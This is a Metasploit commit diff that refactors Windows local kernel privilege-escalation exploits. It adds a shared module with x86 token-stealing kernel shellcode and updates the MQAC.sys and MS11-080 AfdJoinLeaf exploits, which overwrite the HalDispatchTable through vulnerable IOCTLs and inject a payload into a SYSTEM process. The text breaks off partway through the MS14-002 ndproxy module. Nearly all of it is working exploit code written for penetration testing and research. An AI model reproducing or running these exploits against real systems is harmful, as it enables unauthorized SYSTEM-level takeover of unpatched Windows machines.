Land #3612, Windows Local Kernel exploits refactor

bug/bundler_fix
Meatballs 2014-08-10 22:05:06 +01:00
commit 351b687759
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
9 changed files with 392 additions and 478 deletions

View File

@ -0,0 +1,164 @@
# -*- coding: binary -*-
module Msf
module Exploit::Local::WindowsKernel
include Msf::PostMixin
include Msf::Post::Windows::Error
#
# Find the address of nt!HalDispatchTable.
#
# @return [Integer] The address of nt!HalDispatchTable.
# @return [nil] If the address could not be found.
#
def find_haldispatchtable
kernel_address, kernel_name = find_sys_base(nil)
if kernel_address.nil? || kernel_name.nil?
print_error("Failed to find the address of the Windows kernel")
return nil
end
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
if h_kernel['return'] == 0
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
return nil
end
h_kernel = h_kernel['return']
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
if hal_dispatch_table['return'] == 0
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
return nil
end
hal_dispatch_table = hal_dispatch_table['return']
hal_dispatch_table -= h_kernel
hal_dispatch_table += kernel_address
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
hal_dispatch_table
end
#
# Find the load address for a device driver on the session.
#
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
# if this value is nil.
# @return [Array] An array containing the base address and the located drivers name.
# @return [nil] If the name specified could not be found.
#
def find_sys_base(drvname)
if session.railgun.util.pointer_size == 8
ptr = '<Q'
else
ptr = 'V'
end
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
if results['return'] == 0
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
current_drvname = results['lpBaseName'][0,results['return']]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return address, current_drvname
end
elsif drvname == current_drvname
return address, current_drvname
end
end
end
#
# Open a device on a meterpreter session with a call to CreateFileA and return
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
# are specified as nil.
#
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
# @return [Integer] The device handle.
# @return [nil] If the call to CreateFileA failed.
#
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
if handle['return'] == INVALID_HANDLE_VALUE
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
return nil
end
handle['return']
end
#
# Generate token stealing shellcode suitable for use when overwriting the
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
# registers.
#
# @param target [Hash] The target information containing the offsets to _KPROCESS,
# _TOKEN, _UPID and _APLINKS.
# @param backup_token [Integer] An optional location to write a copy of the
# original token to so it can be restored later.
# @param arch [String] The architecture to return shellcode for. If this is nil,
# the arch will be guessed from the target and then module information.
# @return [String] The token stealing shellcode.
# @raise [ArgumentError] If the arch is incompatible.
#
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')
fail ArgumentError, 'Invalid arch'
end
tokenstealing = ''
case arch
when ARCH_X86
tokenstealing << "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
unless backup_token.nil?
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
end
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
else
# if this is reached the issue most likely exists in the exploit module
print_error('Unsupported arch for token stealing shellcode')
fail ArgumentError, 'Invalid arch'
end
tokenstealing
end
end
end

View File

@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
HASH_NOT_SUPPORTED = 0x3BC4
HASH_NOT_PRESENT = 0x3BC5
INVALID_HANDLE_VALUE = 0xffffffff
end

View File

@ -0,0 +1,32 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_psapi
def self.create_dll(dll_path = 'psapi')
dll = DLL.new(dll_path, ApiConstants.manager)
dll.add_function('EnumDeviceDrivers', 'BOOL',[
%w(PBLOB lpImageBase out),
%w(DWORD cb in),
%w(PDWORD lpcbNeeded out)
])
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
%w(LPVOID ImageBase in),
%w(PBLOB lpBaseName out),
%w(DWORD nSize in)
])
return dll
end
end
end; end; end; end; end; end; end

View File

@ -78,7 +78,8 @@ class Railgun
'crypt32',
'wlanapi',
'wldap32',
'version'
'version',
'psapi'
].freeze
##

View File

@ -4,16 +4,16 @@
##
require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
INVALID_HANDLE_VALUE = 0xFFFFFFFF
def initialize(info = {})
super(update_info(info,
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Local
[
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
@ -52,41 +53,13 @@ class Metasploit3 < Msf::Exploit::Local
[
%w(CVE 2014-4971),
%w(EDB 34112),
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt)
],
'DisclosureDate' => 'Jul 22 2014',
'DefaultTarget' => 0
))
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
lp_image_base = %w(PBLOB lpImageBase out)
cb = %w(DWORD cb in)
lpcb_needed = %w(PDWORD lpcbNeeded out)
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
[lp_image_base, cb, lpcb_needed])
image_base = %w(LPVOID ImageBase in)
lp_base_name = %w(PBLOB lpBaseName out)
n_size = %w(DWORD nSize in)
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
[image_base, lp_base_name, n_size])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
@ -106,20 +79,9 @@ class Metasploit3 < Msf::Exploit::Local
end
end
def open_device
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
handle = handle['return']
if handle == 0
print_error('Failed to open the \\\\.\\MQAC device')
return nil
end
handle
end
def check
handle = open_device
if handle.nil? || handle == INVALID_HANDLE_VALUE
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
print_error('MSMQ installation not found')
return Exploit::CheckCode::Safe
end
@ -155,12 +117,9 @@ class Metasploit3 < Msf::Exploit::Local
# results in a BSOD and so we should not let that happen.
return unless check == Exploit::CheckCode::Appears
kernel_info = find_sys_base(nil)
base_addr = 0xffff
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
handle = open_device
return if handle.nil? || handle == INVALID_HANDLE_VALUE
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return if handle.nil?
this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
@ -175,41 +134,29 @@ class Metasploit3 < Msf::Exploit::Local
return
end
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
'HalDispatchTable')
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
hal_base = hal_info[0]
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
shellcode = make_nops(0x200) + tokenstealing
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
this_proc.memory.write(0x1, shellcode)
this_proc.close
print_status('Triggering vulnerable IOCTL')
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
1, 0x258,
halDispatchTable + 0x4, 0)
haldispatchtable + 4, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
unless is_system?

View File

@ -4,6 +4,7 @@
##
require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
@ -13,12 +14,14 @@ class Metasploit3 < Msf::Exploit::Local
# the system process that it was injected into to die then it's also
# possible that the system may become unstable.
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
def initialize(info = {})
super(update_info(info, {
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q{
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q(
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
@ -27,25 +30,24 @@ class Metasploit3 < Msf::Exploit::Local
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process before restoring it's own token to
avoid causing system instability.
},
),
'License' => MSF_LICENSE,
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Arch' => [ARCH_X86],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' =>
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP2 / SP3',
['Automatic', {}],
['Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
@ -55,8 +57,7 @@ class Metasploit3 < Msf::Exploit::Local
'_APLINKS' => "\x88"
}
],
[ 'Windows Server 2003 SP2',
['Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'HalpSetSystemInformation' => 0x21c60,
@ -65,220 +66,156 @@ class Metasploit3 < Msf::Exploit::Local
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
],
]
],
'References' =>
'References' =>
[
[ 'CVE', '2011-2005' ],
[ 'OSVDB', '76232' ],
[ 'EDB', '18176' ],
[ 'MSB', 'MS11-080' ],
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
%w(CVE 2011-2005),
%w(OSVDB 76232),
%w(EDB 18176),
%w(MSB MS11-080),
%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
],
'DisclosureDate'=> 'Nov 30 2011',
'DefaultTarget' => 0
'DisclosureDate' => 'Nov 30 2011',
'DefaultTarget' => 0
}))
register_options([
])
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
local_sys = resolve_sid('S-1-5-18')
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == session.sys.process.getpid
next if p["pid"] == 4
next if p["user"] != system_account_name
next if dangerous_processes.include?(p['name'])
next if p['pid'] == session.sys.process.getpid
next if p['pid'] == 4
next if p['user'] != system_account_name
return p
end
end
def exploit
if sysinfo["Architecture"] =~ /wow64/i
print_error("Running against WOW64 is not supported")
if sysinfo['Architecture'] =~ /wow64/i
print_error('Running against WOW64 is not supported')
return
elsif sysinfo["Architecture"] =~ /x64/
print_error("Running against 64-bit systems is not supported")
elsif sysinfo['Architecture'] =~ /x64/
print_error('Running against 64-bit systems is not supported')
return
end
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo["OS"]
if os =~ /windows xp/i
mytarget = targets[1]
end
if ((os =~ /2003/) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
os = sysinfo['OS']
mytarget = targets[1] if os =~ /windows xp/i
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
mytarget = targets[2]
end
if mytarget.name =~ /Automatic/
print_error("Could not identify the target system, it may not be supported")
print_error('Could not identify the target system, it may not be supported')
return
end
print_status("Running against #{mytarget.name}")
end
if is_system?
print_error("This meterpreter session is already running as SYSTEM")
print_error('This meterpreter session is already running as SYSTE')
return
end
this_proc = session.sys.process.open
kernel_info = find_sys_base(nil)
base_addr = 0x1001
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
socket = result['return']
irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
irpstuff << "\xe8\x00\x34\xf0\x00"
irpstuff << rand_text_alpha(231)
if not this_proc.memory.writable?(0x1000)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("V"), nil, [ 0x1000 ].pack("V"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
unless this_proc.memory.writable?(0x1000)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
end
if not this_proc.memory.writable?(0x1000)
unless this_proc.memory.writable?(0x1000)
print_error('Failed to properly allocate memory')
return
end
this_proc.memory.write(0x1000, irpstuff)
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
halbase = find_sys_base("hal.dll")[0]
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
halbase = find_sys_base('hal.dll')[0]
hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")
#### Exploitation ####
shellcode_address_dep = 0x0002071e
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
halDispatchTable0x4 = halDispatchTable + 0x4
halDispatchTable0x8 = halDispatchTable + 0x8
padding = make_nops(2)
backup_token = 0x20900
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("V")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("V")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("V")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("V")
tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
tokenstealing << "\x8b\xc8"
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
tokenstealing << "\x75\xe8"
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x8b\xc1"
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x10"
restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')
restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
restore_token << "\x8b\x15\x00\x09\x02\x00"
restore_token << "\x8b\x15" + [backup_token].pack('V')
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"
shellcode = padding + restore_ptrs + tokenstealing
shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("vvVVV")
addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error("The socket is not in the correct state")
print_error('The socket is not in the correct state')
return
end
print_status("Triggering AFDJoinLeaf pointer overwrite...")
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status('Triggering AFDJoinLeaf pointer overwrite...')
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
if not is_system?
print_error("Exploit failed")
unless is_system?
print_error('Exploit failed')
return
end
begin
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
host_process.memory.write(mem, payload.encoded)
host_process.thread.create(mem, 0)
rescue ::Exception => e
print_error("Failed to Inject Payload")
print_error(e.to_s)
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
print_error('An error occurred while executing the payload')
end
# Restore the token because apparently BSODs are frowned upon
print_status("Restoring the original token...")
print_status('Restoring the original token...')
shellcode = padding + restore_ptrs + restore_token
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
end
end

View File

@ -4,19 +4,21 @@
##
require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
def initialize(info = {})
super(update_info(info, {
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
'Description' => %q{
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
'Description' => %q(
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
@ -24,31 +26,31 @@ class Metasploit3 < Msf::Exploit::Local
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
work the service "Routing and Remote Access" must be running on the target system.
},
'License' => MSF_LICENSE,
'Author' =>
),
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'ryujin', # python PoC
'Shahin Ramezany', # C PoC
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Payload' =>
'Arch' => ARCH_X86,
'Platform' => 'win',
'Payload' =>
{
'Space' => 4096,
'Space' => 4096,
'DisableNops' => true
},
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' =>
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP3',
['Automatic', {}],
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
}
],
[ 'Windows Server 2003 SP2',
['Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'_KPROCESS' => "\x38",
@ -67,115 +69,38 @@ class Metasploit3 < Msf::Exploit::Local
}
]
],
'References' =>
'References' =>
[
[ 'CVE', '2013-5065' ],
[ 'MSB', 'MS14-002' ],
[ 'OSVDB' , '100368'],
